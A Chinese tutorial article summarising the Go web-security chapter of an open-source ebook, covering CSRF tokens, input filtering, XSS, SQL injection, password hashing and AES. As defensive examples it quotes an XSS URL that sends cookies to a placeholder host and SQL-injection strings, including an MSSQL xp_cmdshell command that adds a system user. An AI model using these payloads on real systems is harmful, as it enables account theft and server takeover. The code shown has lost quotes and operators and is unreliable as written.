ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

用 Go 构建安全 Web 应用:第 9 章「安全与加密」全解(CSRF / 输入过滤 / XSS / SQL 注入 / 密码存储 / 对称加密)

用 Go 构建安全 Web 应用:第 9 章「安全与加密」全解(CSRF / 输入过滤 / XSS / SQL 注入 / 密码存储 / 对称加密) 文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载本指南是开源电子书《Build Web Application with Golang》日文版第 9 章ja/09.0.md的完整技术解读。这一章以真实安全事件如 CSDN 密码泄露为切入点系统讲解 Web 应用最常见的六大威胁——CSRF 跨站请求伪造、不可信输入、XSS 跨站脚本、SQL 注入、密码明文存储、数据双向加解密并给出每一类威胁在 Go 语言中的具体防御与实现代码。读完本文你将掌握从识别外部数据来源到用text/template转义输出、从加盐哈希保存密码到用crypto/aes做对称加解密的完整 Go 安全编程实战能力。1. 为什么 Web 安全是 Go 开发者的必修课第 9 章开篇ja/09.0.md点明了整章的核心立场无论是 Web 应用开发者还是攻击者都在密切关注应用安全。以 CSDN 密码泄露事件为代表的系列事故让密码成了最敏感的话题——人们习惯在不同网站使用相同密码一旦某个数据库被攻破影响就会蔓延到所有地方。作者给出的核心安全原则是永远不要轻信第三方提供的数据。凡是用户输入的数据在完成验证之前都应视为不安全数据如果把这些不安全数据直接输出到客户端可能引发跨站脚本攻击XSS如果把这些不安全数据拼进数据库查询可能引发SQL 注入如果攻击者诱导受害者在已登录状态下发出指定请求就可能引发CSRF 攻击。因此本章围绕两条主线展开一是输入过滤9.2 节与输出转义9.3 节从源头阻止恶意数据进入程序二是加密——包括单向哈希9.5 节保存密码与双向对称加密9.6 节加解密数据。按章节顺序对应关系如下章节主题核心防御手段09.1.mdCSRF 攻击预防正确使用 GET/POST/Cookie非 GET 请求附加随机 token09.2.md输入过滤识别数据来源、过滤、区分已过滤数据CleanMap09.3.mdXSS 攻击预防特殊字符过滤text/template、正确设置 Content-Type09.4.mdSQL 注入预防参数化查询、类型校验、最小权限09.5.md密码保存单向哈希 → 加盐哈希 → scrypt 专业方案09.6.md数据加密/解密crypto/aes、crypto/des对称加密09.7.md总结安全编程意识与 Go 加密工具链在 ja/SUMMARY.md 的目录结构中这一章位于全书第 9 章前接 Web 服务第 8 章后接国际化与本地化第 10 章是全书唯一集中讨论安全与加密的章节。2. CSRF 攻击原理与 Go 防御实践2.1 CSRF 是什么CSRFCross-site request forgery跨站请求伪造也称 one click attack 或 session riding缩写为 CSRF/XSRF。它的可怕之处在于攻击者盗用你的登录身份以你的名义发送任何请求。例如用户正在登录网上银行尚未登出时点击了 QQ 好友发来的伪装链接URL 短链是常见伪装手段资金就可能被转移到攻击者指定的账户。CSRF 的伤害范围不限于普通用户如果受害用户是管理员CSRF 就可能演变成整个 Web 应用的安全危机。2.2 CSRF 攻击流程两步骤模型ja/09.1.md 用一张流程图说明了成功发动 CSRF 需要的两个前提条件图CSRF 攻击流程——受害者需先登录站点 A 并取得 Cookie 信任再在未登出状态下访问危险页面 B一次成功的 CSRF 攻击受害者必须经历两个步骤登录页面 A取得信任并在本地生成 Cookie在未登出 A 的情况下访问危险的页面 B。虽然理论上只要缺一个条件就不会中招但现实中很难保证浏览器普遍支持多标签页登录 A 之后可能随手打开其他页面关闭浏览器不等于 Cookie 立即过期前一会话未必真正结束攻击页面也可能是某个本身有漏洞、却被大量用户信任和访问的知名站点。结论是只要用户登录后还会点击任何链接就随时可能成为 CSRF 受害者。CSRF 的根本原因在于 Web 的身份验证机制是隐藏的它只能证明某个请求来自某个用户的浏览器却无法证明该请求是用户本人授权发出的。2.3 防御思路一正确使用 GET / POST / Cookie服务器端防御是当前的主流做法主要从两方面入手正确使用 GET、POST 与 Cookie对非 GET 请求附加伪随机数token。遵循 REST 风格设计时通常约定GET仅用于浏览、列举、展示等不改变资源的操作POST仅用于下单、修改资源等改变状态的操作。在 Go 中可以用路由方法绑定来强制这一约定mux.Get(/user/:uid, getuser) mux.Post(/user/:uid, modifyuser)这样修改操作只接受 POST用 GET 请求会被拒绝从而挡住流程图中那种基于 GET 的 CSRF 攻击。但 POST 同样可能被伪造所以必须叠加第二步。2.4 防御思路二非 GET 请求附加伪随机数针对非 GET 请求附加随机数书中给出三种方案每个用户生成唯一 Cookie token所有表单包含同一伪随机数最简单因为攻击者理论上无法获取第三方的 Cookie也就无法构造表单数据但若页面存在 XSS 漏洞Cookie 会被轻易盗走因此该方案仅在无 XSS 的前提下才安全。每个请求使用 CAPTCHA 验证码防御效果最彻底但用户需要反复输入验证码可用性差不适合实际运营。不同表单分别包含不同伪随机数即第 4 章 ja/04.4.md 介绍的如何防止表单重复提交方法书中再次给出完整代码。生成随机 tokenh : md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, ganraomaxxxxxxxxx) token : fmt.Sprintf(%x, h.Sum(nil)) t, _ : template.ParseFiles(login.gtpl) t.Execute(w, token)将 token 输出到表单隐藏字段input typehidden nametoken value{{.}}在服务端校验 tokenr.ParseForm() token : r.Form.Get(token) if token ! { // token 的合法性校验 } else { // token 不存在返回错误 }从源码结构看这里的 token 由当前时间戳 固定干扰串经 MD5 生成属于教学演示用的基础方案生产环境应使用crypto/rand等安全随机源。书中同时指出即便 token 生成算法被分析暴力破解该字符串也大约需要 2 的 11 次方量级的运算时间理论上基本不可行。3. 输入过滤Web 安全的第一道防线3.1 三步过滤方法论ja/09.2.md 指出输入过滤是 Web 应用安全的基础——大部分 Web 安全漏洞都源于没有对用户输入做适当过滤。它分三步识别数据弄清需要过滤的数据来自哪里过滤数据明确需要什么样的数据区分已过滤与污染数据确保存在攻击数据时程序使用的是过滤后更安全的数据。3.2 第一步识别数据来源数据指一切来自代码内部之外的数据所有客户端数据以及数据库、第三方接口等外部数据源。在 Go 中用户输入很容易识别——r.ParseForm()会把用户的 POST 与 GET 数据全部存入r.Form。但其他输入如r.Header中的大量字段由客户端控制很难确认哪些算输入。最稳妥的做法是把其中的所有数据都视为用户输入例如r.Header.Get(Accept-Charset)虽然大多由浏览器设置也应视为用户输入。3.3 第二步过滤数据的方法过滤即验证、清理、消毒validation / cleaning / sanitizing——防止不期望的数据进入应用。书中特别强调一个历史教训与其拒绝非法数据不如检查数据是否符合合法规则引导用户按规定输入。书中举了一个真实案例某银行系统升级后如果密码后两位是 0只需输入前四位就能登录——这就是纠弹非法数据反而引入严重漏洞的例子。Go 中过滤主要依赖三类库包用途典型函数strconv字符串与基本类型互转r.Form返回的是字符串Atoi、ParseBool、ParseFloat、ParseIntstring按指定格式规整数据Trim、ToLower、ToTitleregexp处理复杂格式校验判断输入是否为 Email、生日等除了检查/验证特殊情况下可采用白名单策略除非能证明数据合法否则一律视为非法。这样即使出错也只会把合法数据误判为非法绝不会把非法数据放行——比反向策略安全得多。3.4 第三步区分已过滤数据CleanMap 模式过滤完成后还要在代码中区分已过滤与污染数据保证过滤的完整性且不影响原始输入。书中的做法是把所有已过滤的数据存入全局 MapCleanMap并防止两个污染入口每个请求把 CleanMap 初始化为空 Map阻止外部数据源变量被当作 CleanMap 使用。书中用下拉表单示例说明这一概念。表单只允许选择astaxie、herry、marry三个值form action/whoami methodPOST 你是谁 select namename option valueastaxieastaxie/option option valueherryherry/option option valuemarrymarry/option /select input typesubmit / /form初学者最容易犯的错误是以为只会提交三个选项之一——攻击者完全可以篡改 POST提交nameattack。因此必须做白名单式处理r.ParseForm() name : r.Form.Get(name) CleanMap : make(map[string]interface{}, 0) if name astaxie || name herry || name marry { CleanMap[name] name }代码初始化 CleanMap只有 name 属于三个合法值时才存入从而保证CleanMap[name]中的数据一定合法其他代码可以放心使用else 分支可以重新显示表单并提示错误但不要友好地输出污染数据。对于已知应由合法字符构成的数据则用正则校验例如限制用户名为字母数字r.ParseForm() username : r.Form.Get(username) CleanMap : make(map[string]interface{}, 0) if ok, _ : regexp.MatchString(^[a-zA-Z0-9].$, username); ok { CleanMap[username] username }4. XSS 攻击原理与 Go 转义方案4.1 XSS 是什么ja/09.3.md 介绍随着 Web 应用大量引入动态内容程序根据用户环境与请求输出内容跨站脚本攻击Cross Site ScriptingXSS成为常见威胁——静态页面则完全不受影响。XSS 的缩写刻意避开 CSS层叠样式表以免混淆。与多数只影响攻击者与受害者两人的攻击不同XSS 波及三方攻击者、客户端与 Web 应用。攻击目标通常是夺取客户端保存的 Cookie 或其他标识身份的敏感信息得手后攻击者即可冒充合法用户与页面交互。4.2 存储型 XSS 与反射型 XSSXSS 大致分两类存储型 XSS主要出现在用户可输入、且其他浏览者可见的地方——论坛、评论区、博客、各类表单。流程是恶意用户输入的 HTML 进入 Web 应用 → 进入数据库 → 被 Web 应用取出 → 输出到用户浏览器。反射型 XSS把脚本代码放进 URL 请求参数参数进入程序后直接输出到页面用户点击恶意链接即中招。当前 XSS 的主要手段与目的包括盗取 Cookie 与敏感信息通过 Flash 的 crossdomain 权限配置或 Java 等获取更高权限借助 iframe、frame、XMLHttpRequest 或 Flash 以受害用户身份执行管理操作或普通操作如发微博、加好友、发私信——书中提到新浪微博曾遭遇 XSS 攻击利用被信任区域的功能越权请求如非法投票在高 PV 页面上发起针对小网站的 DDoS 攻击。4.3 XSS 攻击原理演示Web 应用若对用户提交的数据缺乏充分检查与过滤允许用户数据携带 HTML 代码主要是、未转义的恶意代码就会在第三方用户浏览器中被解释/执行——这就是 XSS 漏洞的成因。书中以反射型 XSS 为例访问http://127.0.0.1/?nameastaxie页面输出hello astaxie而访问http://127.0.0.1/?namescriptalert(astaxie,xss)/script浏览器会弹出对话框——说明页面存在 XSS 漏洞。盗取 Cookie 的方式如法炮制http://127.0.0.1/?namescriptdocument.location.hrefhttp://www.xxx.com/cookie?document.cookie/script会把当前 Cookie 发送到攻击者指定的页面。这类 URL 直接看很可疑但经 URL 短链伪装后难以分辨一旦点击Cookie 数据就被送走攻击者拿到 Cookie 后可借助 Websleuth 等工具尝试窃取账号。4.4 防御过滤特殊字符 设置正确 Content-Type防御答案很简单绝不信任用户的任何输入过滤输入中所有特殊字符即可根除大部分 XSS 攻击。书中给出两条 Go 实践方法一过滤特殊字符。Go 的text/template包提供HTMLEscapeString、JSEscapeString等 HTML 过滤函数对用户提供的内容输出前做转义处理。方法二在 HTTP 响应头指定正确类型。例如w.Header().Set(Content-Type, text/javascript)这样浏览器不会把内容当作 HTML 输出而是按 JavaScript 解释——从输出端限制脚本被当作页面内容执行。需要说明的是text/template在渲染时默认也会对、、等字符做 HTML 转义与html/template配合是更现代的防御组合。5. SQL 注入原理、真实案例与六条预防准则5.1 SQL 注入是什么ja/09.4.md 指出SQL 注入SQL Injection简称注入攻击是 Web 开发中最常见的漏洞之一攻击者可借此获取数据库中的敏感信息或利用数据库特性执行添加用户、导出文件等恶意操作甚至获得数据库乃至系统用户的最高权限。成因是程序没有对用户输入做有效过滤攻击者把精心构造的恶意 SQL 查询发给服务器程序误把攻击者输入当作查询的一部分执行篡改原始查询逻辑执行了意料之外的恶意代码。5.2 两个真实注入案例案例一登录表单绕过。考虑如下登录表单form action/login methodPOST pUsername: input typetext nameusername //p pPassword: input typepassword namepassword //p pinput typesubmit value登录 //p /form程序拼接出的 SQL 可能是username : r.Form.Get(username) password : r.Form.Get(password) sql : SELECT * FROM user WHERE username username AND password password 若用户名输入myuser or foo foo --SQL 变成SELECT * FROM user WHERE usernamemyuser or foo foo -- AND passwordxxxSQL 中--表示注释查询在中间被截断攻击者无需知道合法用户名与密码即可登录成功。案例二MSSQL 系统命令执行。书中展示了某版本 MSSQL 上更危险的注入sql : SELECT * FROM products WHERE name LIKE % prod % Db.Exec(sql)若prod被注入a% exec master..xp_cmdshell net user test testpass /ADD --SQL 变为SELECT * FROM products WHERE name LIKE %a% exec master..xp_cmdshell net user test testpass /ADD--%MSSQL 服务器会执行向系统添加新用户的命令若程序以 sa 权限运行且 MSSQLSERVER 服务权限足够攻击者就能获得系统账户、直接访问主机。书中特别提醒该例针对特定数据库系统但类似的漏洞在各类数据库中都会以不同方式出现。5.3 六条 SQL 注入预防准则ja/09.4.md 给出的预防建议可操作性与完整性保持原样严格限制 Web 应用的数据库操作权限只授予完成工作所需的最小权限尽量降低注入攻击对数据库造成的损害校验输入是否符合预期格式严格限制变量类型例如用regexp包做匹配处理或用strconv包把字符串转换为其他基本类型再判断对进入数据库的特殊字符\角括号*;等做转义或编码Go 的text/template包的HTMLEscapeString函数可对字符串做转义所有查询尽量使用数据库提供的参数化查询接口参数化查询用参数占位不把用户输入变量嵌入 SQL即不要直接拼接查询语句——例如使用database/sql的Prepare、Query函数或Exec(query string, args ...interface{})部署前用专业 SQL 注入检测工具扫描发现漏洞立即修补此类开源工具很多如 sqlmap、SQLninja避免页面输出 SQL 错误信息如类型错误、字段不匹配等防止代码 SQL 查询结构被泄露、被攻击者利用。6. 密码存储从明文哈希到 scrypt 专业方案6.1 为什么普通哈希不安全ja/09.5.md 开篇回顾了多起密码泄露事件LinkedIn、CSDN 事件轰动国内互联网多玩游戏的 800 万用户数据泄露人人网、开心网、天涯社区、世纪佳缘、百合网等社区据传也成目标。由于用户习惯在不同网站使用相同密码一处数据库被攻破就会波及全局。目前最常见的密码保存方式是对明文密码做单向哈希。单向哈希的特点是从哈希后的摘要digest无法还原原始数据常用算法有 SHA-256、SHA-1、MD5。Go 语言三种算法实现如下// import crypto/sha256 h : sha256.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/sha1 h : sha1.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/md5 h : md5.New() io.WriteString(h, 需要加密的密码) fmt.Printf(%x, h.Sum(nil))单向哈希有两个特性① 同一密码哈希结果始终唯一确定② 计算速度极快——如今每秒可达数十亿次哈希。二者叠加意味着把常用密码集合全部哈希一遍得到摘要集合即彩虹表 rainbow table与数据库中的摘要比对即可还原密码。因此单向哈希后存储的数据与明文存储几乎无异——一旦数据库泄露所有用户密码都暴露在阳光下。6.2 更优方法加盐Salt哈希黑客能用彩虹表破解通常是因为哈希算法是公开的如果不知道算法就无从下手。直接自研哈希算法不现实——好算法要避免碰撞、规则又不易察觉比想象中难得多所以实践中多利用现有算法多次哈希。但简单的多重 MD5两次、三次并不奏效你能想到的黑客也能想到对开源项目而言这等于直接告诉黑客算法。当前安全做得较好的网站普遍采用**盐salt**方案先对用户密码做一次 MD5或其它哈希在得到的 MD5 值前后拼接只有管理员知道的随机字符串再做一次 MD5。盐可以是固定字符串也可以包含用户名保证各用户加密所用私密材料不同// import crypto/md5 // 假设用户名为 abc密码为 123456 h : md5.New() io.WriteString(h, 需要加密的密码) // pwmd5 为 e10adc3949ba59abbe56e057f20f883e pwmd5 : fmt.Sprintf(%x, h.Sum(nil)) // 指定两个 salt salt1 #$% salt2 ^*() salt1 : #$% salt2 : ^*() // 拼接 salt1 用户名 salt2 MD5 io.WriteString(h, salt1) io.WriteString(h, abc) io.WriteString(h, salt2) io.WriteString(h, pwmd5) last : fmt.Sprintf(%x, h.Sum(nil))只要两个 salt 不泄露黑客即使拿到最终加密串也几乎不可能反推出原始密码。6.3 专业方案scrypt 计算强度拉伸加盐方案在数年前足够安全——当时攻击者没有足够资源构建海量彩虹表但如今并行计算能力大幅提升这类攻击完全可行。破解没有绝对因此思路变成故意增大计算密码所需的资源与时间让任何人都没有构建彩虹表的资源。这类算法的共同特点是都有计算强度因子——描述计算摘要所需资源与时间。强度越大攻击者越难最终无法构建彩虹表。书中推荐scrypt由 FreeBSD 知名黑客 Colin Percival 为他的 Tarsnap 备份服务开发。Go 语言支持该算法的库在golang.org/x/crypto/scryptdk : scrypt.Key([]byte(some password), []byte(salt), 16384, 8, 1, 32)scrypt.Key的参数依次为密码、盐、CPU/内存成本参数16384、块大小8、并行度1与输出密钥长度32 字节得到的就是当前最难破解的密码派生值。6.4 行动建议书中给出两条落地方案普通用户用 LastPass 等密码管理器保存/生成密码并在不同站点使用不同密码开发者则强烈建议采用专业方法scrypt 一类保存密码。7. 对称加密用 crypto/aes 实现数据加密与解密7.1 何时需要对称加密ja/09.6.md 指出前文解决的是密码的单向存储但有时需要修改数据库中已保存的隐私加密数据就必须能解密——此时应使用对称密钥加密算法而不是单向哈希函数。Go 的crypto支持两类对称加密模块crypto/aesAESAdvanced Encryption Standard又称 Rijndael 加密算法是美国联邦政府采用的块密码标准crypto/desDESData Encryption Standard对称密钥加密标准尤其用于金融数据安全保护曾是联邦政府加密标准现已被 AES 取代。两者用法相似书中以 aes 包为例给出完整可运行示例package main import ( crypto/aes crypto/cipher fmt os ) var commonIV []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} func main() { // 要加密的字符串 plaintext : []byte(My name is Astaxie) // 传入加密字符串时plaintext 变为传入的字符串 if len(os.Args) 1 { plaintext []byte(os.Args[1]) } // aes 加密字符串 key_text : astaxie12798akljzmknm.ahkjkljl;k if len(os.Args) 2 { key_text os.Args[2] } fmt.Println(len(key_text)) // 创建加密算法 aes c, err : aes.NewCipher([]byte(key_text)) if err ! nil { fmt.Printf(Error: NewCipher(%d bytes) %s, len(key_text), err) os.Exit(-1) } // 加密字符串 cfb : cipher.NewCFBEncrypter(c, commonIV) ciphertext : make([]byte, len(plaintext)) cfb.XORKeyStream(ciphertext, plaintext) fmt.Printf(%s%x\n, plaintext, ciphertext) // 解密字符串 cfbdec : cipher.NewCFBDecrypter(c, commonIV) plaintextCopy : make([]byte, len(plaintext)) cfbdec.XORKeyStream(plaintextCopy, ciphertext) fmt.Printf(%x%s\n, ciphertext, plaintextCopy) }7.2 关键 API 与参数约束示例调用aes.NewCipher时参数 key 必须是 16、24 或 32 字节的[]byte分别对应 AES-128、AES-192 与 AES-256 算法它返回cipher.Block接口该接口实现三个功能type Block interface { // BlockSize returns the ciphers block size. BlockSize() int // Encrypt encrypts the first block in src into dst. // Dst and src may point at the same memory. Encrypt(dst, src []byte) // Decrypt decrypts the first block in src into dst. // Dst and src may point at the same memory. Decrypt(dst, src []byte) }Encrypt/Decrypt完成单块加解密配合crypto/cipher的NewCFBEncrypter/NewCFBDecrypterCFB 流模式与 IV初始化向量可处理任意长度数据。需要提醒的是示例中的commonIV与固定 key 属于教学演示写法生产环境应使用每次唯一的安全随机 IV且 key 需妥善管理如密钥管理服务。在仅需基础安全性的应用中书中建议优先采用 AES 算法。8. 本章总结Go 安全编程要点速查ja/09.7.md 为全章收尾本章介绍了 CSRF、XSS、SQL 注入等 Web 应用典型攻击手法它们共同根源于应用未对用户输入做好过滤因此除讲解攻击方式外还介绍了如何通过有效的数据过滤来预防这些攻击。针对日益频发的严重密码泄露事件本章给出了从基础到专业的加密方案最后介绍了敏感数据的加密/解密——Go 语言提供 base64、aes 与 des 三种双向加密实现。回顾全章可提炼出以下要点作为 Go 安全编程的速查清单威胁根因Go 防御手段对应章节CSRFWeb 身份验证无法证明请求由用户授权发出GET/POST 语义分离 非 GET 请求附加随机 token09.1.md不可信输入轻信外部数据三步过滤识别来源 → 过滤 → CleanMap 隔离09.2.mdXSS未转义输出用户可控内容text/template转义 正确 Content-Type09.3.mdSQL 注入拼接 SQL、缺少校验参数化查询 类型校验 最小权限 错误信息隐藏09.4.md密码泄露明文/裸哈希存储加盐哈希 → scrypt 计算强度拉伸09.5.md敏感数据可读需要还原数据crypto/aes/crypto/des对称加密09.6.md本章写作的目的在于强化开发者的安全意识编写 Web 应用时保持警惕让应用远离黑客攻击善用这些标准库包text/template、database/sql、crypto/sha256、crypto/md5、crypto/aes等在本书第 4 章 ja/04.0.md 与第 5 章 ja/05.0.md 中可看到它们的配套用法就能构建出安全可靠的 Web 应用。赞分享文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载相关推荐用 Go 筑牢 Web 应用安全防线CSRF、XSS、SQL 注入与密码加密全景指南用 Go 筑牢 Web 应用安全防线CSRF、XSS、SQL 注入与密码加密全景指南 本章第 9 章是《Build Web Application wit文档教程DataHub ML Feature Table 实体完全指南元数据模型、SDK 操作与平台集成DataHub ML Feature Table 实体完全指南元数据模型、SDK 操作与平台集成 ML Feature Table机器学习特征表是 Dat文档教程使用 Go 构建安全 Web 应用CSRF、XSS、SQL 注入防御与加密实践指南使用 Go 构建安全 Web 应用CSRF、XSS、SQL 注入防御与加密实践指南 本文基于开源书籍《Build Web Application with G文档教程上一篇macOS音频管理革命Background Music智能自动化解决方案下一篇UniHacker如何免费使用Unity全版本进行学习和开发创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表